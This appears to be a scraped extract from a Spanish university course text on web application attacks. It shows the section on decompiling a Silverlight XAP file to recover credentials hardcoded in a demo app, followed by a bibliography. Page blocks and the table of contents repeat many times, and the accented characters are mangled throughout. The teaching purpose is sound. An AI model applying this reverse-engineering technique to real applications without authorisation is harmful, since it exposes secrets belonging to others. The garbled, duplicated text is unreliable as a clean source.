dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 70: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 71: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 72: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 73: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 74: Ataques a Aplicaciones Web
  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea